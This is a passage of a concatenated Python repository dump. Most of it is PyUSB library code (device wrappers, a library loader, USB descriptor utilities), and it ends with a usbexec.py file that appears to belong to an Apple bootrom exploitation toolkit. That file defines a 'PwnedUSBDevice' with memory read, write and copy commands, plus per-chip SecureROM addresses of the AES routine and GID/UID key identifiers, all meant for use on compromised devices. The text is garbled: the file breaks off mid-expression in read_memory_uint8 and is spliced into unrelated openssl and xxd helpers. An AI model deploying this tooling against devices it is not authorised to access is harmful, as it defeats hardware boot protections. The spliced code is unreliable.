>> 8) & 0xf) + \ '.' + \ str((dev.bcdDevice >> 4) & 0xf) + \ str(dev.bcdDevice & 0xf) self.devnum = dev.address self.filename = '' self.iManufacturer = dev.iManufacturer self.iProduct = dev.iProduct self.iSerialNumber = dev.iSerialNumber self.idProduct = dev.idProduct self.idVendor = dev.idVendor self.maxPacketSize = dev.bMaxPacketSize0 self.usbVersion = str((dev.bcdUSB >> 12) & 0xf) + \ str((dev.bcdUSB >> 8) & 0xf) + \ '.' + \ str((dev.bcdUSB >> 4) & 0xf) + \ str(dev.bcdUSB & 0xf) self.configurations = [Configuration(c) for c in dev] self.dev = dev def open(self): r"""Open the device for use. Returns a DeviceHandle object """ return DeviceHandle(self.dev) class Bus(object): r"""Bus object.""" def __init__(self, devices): self.dirname = '' self.devices = [Device(d) for d in devices] self.location = self.devices[0].dev.bus def busses(): r"""Returns a tuple with the usb busses.""" return (Bus(g) for k, g in groupby( sorted(core.find(find_all=True), key=lambda d: d.bus), lambda d: d.bus)) ================================================ FILE: usb/libloader.py ================================================ # -*- coding: utf-8 -*- # # Copyright (C) 2013-2014 André Erdmann # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. import ctypes import ctypes.util import logging import sys __all__ = [ 'LibraryException', 'LibraryNotFoundException', 'NoLibraryCandidatesException', 'LibraryNotLoadedException', 'LibraryMissingSymbolsException', 'locate_library', 'load_library', 'load_locate_library' ] _LOGGER = logging.getLogger('usb.libloader') class LibraryException(OSError): pass class LibraryNotFoundException(LibraryException): pass class NoLibraryCandidatesException(LibraryNotFoundException): pass class LibraryNotLoadedException(LibraryException): pass class LibraryMissingSymbolsException(LibraryException): pass def locate_library (candidates, find_library=ctypes.util.find_library): """Tries to locate a library listed in candidates using the given find_library() function (or ctypes.util.find_library). Returns the first library found, which can be the library's name or the path to the library file, depending on find_library(). Returns None if no library is found. arguments: * candidates -- iterable with library names * find_library -- function that takes one positional arg (candidate) and returns a non-empty str if a library has been found. Any "false" value (None,False,empty str) is interpreted as "library not found". Defaults to ctypes.util.find_library if not given or None. """ if find_library is None: find_library = ctypes.util.find_library use_dll_workaround = ( sys.platform == 'win32' and find_library is ctypes.util.find_library ) for candidate in candidates: # Workaround for CPython 3.3 issue#16283 / pyusb #14 if use_dll_workaround: candidate += '.dll' libname = find_library(candidate) if libname: return libname # -- end for return None def load_library(lib, name=None, lib_cls=None): """Loads a library. Catches and logs exceptions. Returns: the loaded library or None arguments: * lib -- path to/name of the library to be loaded * name -- the library's identifier (for logging) Defaults to None. * lib_cls -- library class. Defaults to None (-> ctypes.CDLL). """ try: if lib_cls: return lib_cls(lib) else: return ctypes.CDLL(lib) except Exception: if name: lib_msg = '%s (%s)' % (name, lib) else: lib_msg = lib lib_msg += ' could not be loaded' if sys.platform == 'cygwin': lib_msg += ' in cygwin' _LOGGER.error(lib_msg, exc_info=True) return None def load_locate_library(candidates, cygwin_lib, name, win_cls=None, cygwin_cls=None, others_cls=None, find_library=None, check_symbols=None): """Locates and loads a library. Returns: the loaded library arguments: * candidates -- candidates list for locate_library() * cygwin_lib -- name of the cygwin library * name -- lib identifier (for logging). Defaults to None. * win_cls -- class that is used to instantiate the library on win32 platforms. Defaults to None (-> ctypes.CDLL). * cygwin_cls -- library class for cygwin platforms. Defaults to None (-> ctypes.CDLL). * others_cls -- library class for all other platforms. Defaults to None (-> ctypes.CDLL). * find_library -- see locate_library(). Defaults to None. * check_symbols -- either None or a list of symbols that the loaded lib must provide (hasattr(<>)) in order to be considered valid. LibraryMissingSymbolsException is raised if any symbol is missing. raises: * NoLibraryCandidatesException * LibraryNotFoundException * LibraryNotLoadedException * LibraryMissingSymbolsException """ if sys.platform == 'cygwin': if cygwin_lib: loaded_lib = load_library(cygwin_lib, name, cygwin_cls) else: raise NoLibraryCandidatesException(name) elif candidates: lib = locate_library(candidates, find_library) if lib: if sys.platform == 'win32': loaded_lib = load_library(lib, name, win_cls) else: loaded_lib = load_library(lib, name, others_cls) else: _LOGGER.error('%r could not be found', (name or candidates)) raise LibraryNotFoundException(name) else: raise NoLibraryCandidatesException(name) if loaded_lib is None: raise LibraryNotLoadedException(name) elif check_symbols: symbols_missing = [ s for s in check_symbols if not hasattr(loaded_lib, s) ] if symbols_missing: msg = ('%r, missing symbols: %r', lib, symbols_missing ) _LOGGER.error(msg) raise LibraryMissingSymbolsException(lib) else: return loaded_lib else: return loaded_lib ================================================ FILE: usb/util.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. r"""usb.util - Utility functions. This module exports: endpoint_address - return the endpoint absolute address. endpoint_direction - return the endpoint transfer direction. endpoint_type - return the endpoint type ctrl_direction - return the direction of a control transfer build_request_type - build a bmRequestType field of a control transfer. find_descriptor - find an inner descriptor. claim_interface - explicitly claim an interface. release_interface - explicitly release an interface. dispose_resources - release internal resources allocated by the object. get_langids - retrieve the list of supported string languages from the device. get_string - retrieve a string descriptor from the device. """ __author__ = 'Wander Lairson Costa' import operator import array from sys import hexversion import usb._interop as _interop # descriptor type DESC_TYPE_DEVICE = 0x01 DESC_TYPE_CONFIG = 0x02 DESC_TYPE_STRING = 0x03 DESC_TYPE_INTERFACE = 0x04 DESC_TYPE_ENDPOINT = 0x05 # endpoint direction ENDPOINT_IN = 0x80 ENDPOINT_OUT = 0x00 # endpoint type ENDPOINT_TYPE_CTRL = 0x00 ENDPOINT_TYPE_ISO = 0x01 ENDPOINT_TYPE_BULK = 0x02 ENDPOINT_TYPE_INTR = 0x03 # control request type CTRL_TYPE_STANDARD = (0 << 5) CTRL_TYPE_CLASS = (1 << 5) CTRL_TYPE_VENDOR = (2 << 5) CTRL_TYPE_RESERVED = (3 << 5) # control request recipient CTRL_RECIPIENT_DEVICE = 0 CTRL_RECIPIENT_INTERFACE = 1 CTRL_RECIPIENT_ENDPOINT = 2 CTRL_RECIPIENT_OTHER = 3 # control request direction CTRL_OUT = 0x00 CTRL_IN = 0x80 _ENDPOINT_ADDR_MASK = 0x0f _ENDPOINT_DIR_MASK = 0x80 _ENDPOINT_TRANSFER_TYPE_MASK = 0x03 _CTRL_DIR_MASK = 0x80 # For compatibility between Python 2 and 3 _dummy_s = '\x00'.encode('utf-8') # speed type SPEED_LOW = 1 SPEED_FULL = 2 SPEED_HIGH = 3 SPEED_SUPER = 4 SPEED_UNKNOWN = 0 def endpoint_address(address): r"""Return the endpoint absolute address. The address parameter is the bEndpointAddress field of the endpoint descriptor. """ return address & _ENDPOINT_ADDR_MASK def endpoint_direction(address): r"""Return the endpoint direction. The address parameter is the bEndpointAddress field of the endpoint descriptor. The possible return values are ENDPOINT_OUT or ENDPOINT_IN. """ return address & _ENDPOINT_DIR_MASK def endpoint_type(bmAttributes): r"""Return the transfer type of the endpoint. The bmAttributes parameter is the bmAttributes field of the endpoint descriptor. The possible return values are: ENDPOINT_TYPE_CTRL, ENDPOINT_TYPE_ISO, ENDPOINT_TYPE_BULK or ENDPOINT_TYPE_INTR. """ return bmAttributes & _ENDPOINT_TRANSFER_TYPE_MASK def ctrl_direction(bmRequestType): r"""Return the direction of a control request. The bmRequestType parameter is the value of the bmRequestType field of a control transfer. The possible return values are CTRL_OUT or CTRL_IN. """ return bmRequestType & _CTRL_DIR_MASK def build_request_type(direction, type, recipient): r"""Build a bmRequestType field for control requests. These is a conventional function to build a bmRequestType for a control request. The direction parameter can be CTRL_OUT or CTRL_IN. The type parameter can be CTRL_TYPE_STANDARD, CTRL_TYPE_CLASS, CTRL_TYPE_VENDOR or CTRL_TYPE_RESERVED values. The recipient can be CTRL_RECIPIENT_DEVICE, CTRL_RECIPIENT_INTERFACE, CTRL_RECIPIENT_ENDPOINT or CTRL_RECIPIENT_OTHER. Return the bmRequestType value. """ return recipient | type | direction def create_buffer(length): r"""Create a buffer to be passed to a read function. A read function may receive an out buffer so the data is read inplace and the object can be reused, avoiding the overhead of creating a new object at each new read call. This function creates a compatible sequence buffer of the given length. """ return array.array('B', _dummy_s * length) def find_descriptor(desc, find_all=False, custom_match=None, **args): r"""Find an inner descriptor. find_descriptor works in the same way as the core.find() function does, but it acts on general descriptor objects. For example, suppose you have a Device object called dev and want a Configuration of this object with its bConfigurationValue equals to 1, the code would be like so: >>> cfg = util.find_descriptor(dev, bConfigurationValue=1) You can use any field of the Descriptor as a match criteria, and you can supply a customized match just like core.find() does. The find_descriptor function also accepts the find_all parameter to get an iterator instead of just one descriptor. """ def desc_iter(**kwargs): for d in desc: tests = (val == getattr(d, key) for key, val in kwargs.items()) if _interop._all(tests) and (custom_match is None or custom_match(d)): yield d if find_all: return desc_iter(**args) else: try: return _interop._next(desc_iter(**args)) except StopIteration: return None def claim_interface(device, interface): r"""Explicitly claim an interface. PyUSB users normally do not have to worry about interface claiming, as the library takes care of it automatically. But there are situations where you need deterministic interface claiming. For these uncommon cases, you can use claim_interface. If the interface is already claimed, either through a previously call to claim_interface or internally by the device object, nothing happens. """ device._ctx.managed_claim_interface(device, interface) def release_interface(device, interface): r"""Explicitly release an interface. This function is used to release an interface previously claimed, either through a call to claim_interface or internally by the device object. Normally, you do not need to worry about claiming policies, as the device object takes care of it automatically. """ device._ctx.managed_release_interface(device, interface) def dispose_resources(device): r"""Release internal resources allocated by the object. Sometimes you need to provide deterministic resources freeing, for example to allow another application to talk to the device. As Python does not provide deterministic destruction, this function releases all internal resources allocated by the device, like device handle and interface policy. After calling this function, you can continue using the device object normally. If the resources will be necessary again, it will be allocated automatically. """ device._ctx.dispose(device) def get_langids(dev): r"""Retrieve the list of supported Language IDs from the device. Most client code should not call this function directly, but instead use the langids property on the Device object, which will call this function as needed and cache the result. USB LANGIDs are 16-bit integers familiar to Windows developers, where for example instead of en-US you say 0x0409. See the file USB_LANGIDS.pdf somewhere on the usb.org site for a list, which does not claim to be complete. It requires "system software must allow the enumeration and selection of LANGIDs that are not currently on this list." It also requires "system software should never request a LANGID not defined in the LANGID code array (string index = 0) presented by a device." Client code can check this tuple before issuing string requests for a specific language ID. dev is the Device object whose supported language IDs will be retrieved. The return value is a tuple of integer LANGIDs, possibly empty if the device does not support strings at all (which USB 3.1 r1.0 section 9.6.9 allows). In that case client code should not request strings at all. A USBError may be raised from this function for some devices that have no string support, instead of returning an empty tuple. The accessor for the langids property on Device catches that case and supplies an empty tuple, so client code can ignore this detail by using the langids property instead of directly calling this function. """ from usb.control import get_descriptor buf = get_descriptor( dev, 254, DESC_TYPE_STRING, 0 ) # The array is retrieved by asking for string descriptor zero, which is # never the index of a real string. The returned descriptor has bLength # and bDescriptorType bytes followed by pairs of bytes representing # little-endian LANGIDs. That is, buf[0] contains the length of the # returned array, buf[2] is the least-significant byte of the first LANGID # (if any), buf[3] is the most-significant byte, and in general the LSBs of # all the LANGIDs are given by buf[2:buf[0]:2] and MSBs by buf[3:buf[0]:2]. # If the length of buf came back odd, something is wrong. if len(buf) < 4 or buf[0] < 4 or buf[0]&1 != 0: return () return tuple(map(lambda x,y: x+(y<<8), buf[2:buf[0]:2], buf[3:buf[0]:2])) def get_string(dev, index, langid = None): r"""Retrieve a string descriptor from the device. dev is the Device object which the string will be read from. index is the string descriptor index and langid is the Language ID of the descriptor. If langid is omitted, the string descriptor of the first Language ID will be returned. Zero is never the index of a real string. The USB spec allows a device to use zero in a string index field to indicate that no string is provided. So the caller does not have to treat that case specially, this function returns None if passed an index of zero, and generates no traffic to the device. The return value is the unicode string present in the descriptor, or None if the requested index was zero. It is a ValueError to request a real string (index not zero), if: the device's langid tuple is empty, or with an explicit langid the device does not support. """ if 0 == index: return None from usb.control import get_descriptor langids = dev.langids if 0 == len(langids): raise ValueError("The device has no langid") if langid is None: langid = langids[0] elif langid not in langids: raise ValueError("The device does not support the specified langid") buf = get_descriptor( dev, 255, # Maximum descriptor size DESC_TYPE_STRING, index, langid ) if hexversion >= 0x03020000: return buf[2:buf[0]].tobytes().decode('utf-16-le') else: return buf[2:buf[0]].tostring().decode('utf-16-le') ================================================ FILE: usbexec.py ================================================ import struct, sys import dfu, device_platform class ExecConfig: def __init__(self, info, aes_crypto_cmd): self.info = info self.aes_crypto_cmd = aes_crypto_cmd def match(self, info): return info == self.info[0].ljust(0x40, '\0') + self.info[1].ljust(0x40, '\0') + self.info[2].ljust(0x80, '\0') configs = [ ExecConfig(('SecureROM for s5l8947xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1458.2'), aes_crypto_cmd=0x7060+1), ExecConfig(('SecureROM for s5l8950xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1145.3'), aes_crypto_cmd=0x7300+1), ExecConfig(('SecureROM for s5l8955xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1145.3.3'), aes_crypto_cmd=0x7340+1), ExecConfig(('SecureROM for t8002si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE', 'iBoot-2651.0.0.1.31'), aes_crypto_cmd=0x86DC+1), ExecConfig(('SecureROM for t8004si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE', 'iBoot-2651.0.0.3.3'), aes_crypto_cmd=0x786C+1), ExecConfig(('SecureROM for s5l8960xsi, Copyright 2012, Apple Inc.', 'RELEASE', 'iBoot-1704.10'), aes_crypto_cmd=0x10000B9A8), ExecConfig(('SecureROM for t8010si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-2696.0.0.1.33'), aes_crypto_cmd=0x10000C8F4), ExecConfig(('SecureROM for t8011si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-3135.0.0.2.3'), aes_crypto_cmd=0x10000C994), ExecConfig(('SecureROM for t8015si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3332.0.0.1.23'), aes_crypto_cmd=0x100009E9C), ] EXEC_MAGIC = 'execexec'[::-1] DONE_MAGIC = 'donedone'[::-1] MEMC_MAGIC = 'memcmemc'[::-1] MEMS_MAGIC = 'memsmems'[::-1] USB_READ_LIMIT = 0xFFFF # why does that panic T8015 ROM? CMD_TIMEOUT = 5000 AES_BLOCK_SIZE = 16 AES_ENCRYPT = 16 AES_DECRYPT = 17 AES_GID_KEY = 0x20000200 AES_UID_KEY = 0x20000201 class PwnedUSBDevice(): def memset(self, address, c, length): self.command(self.cmd_memset(address, c, length), 0) def memcpy(self, dest, src, length): self.command(self.cmd_memcpy(dest, src, length), 0) def read_memory_ptr(self, address): return struct.unpack('<%s' % self.cmd_arg_type(), self.read_memory(address, self.cmd_arg_size()))[0] def read_memory_uint8(self, address): return struct.unpack(' 0: print 'ERROR: openssl failed: %s' % stderr sys.exit(1) return stdout def hex_dump(data, address): p = subprocess.Popen(['xxd', '-o', str(address)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout, stderr) = p.communicate(input=data) if p.returncode != 0 or len(stderr) > 0: print 'ERROR: xxd failed: %s' % stderr sys.exit(1) return stdout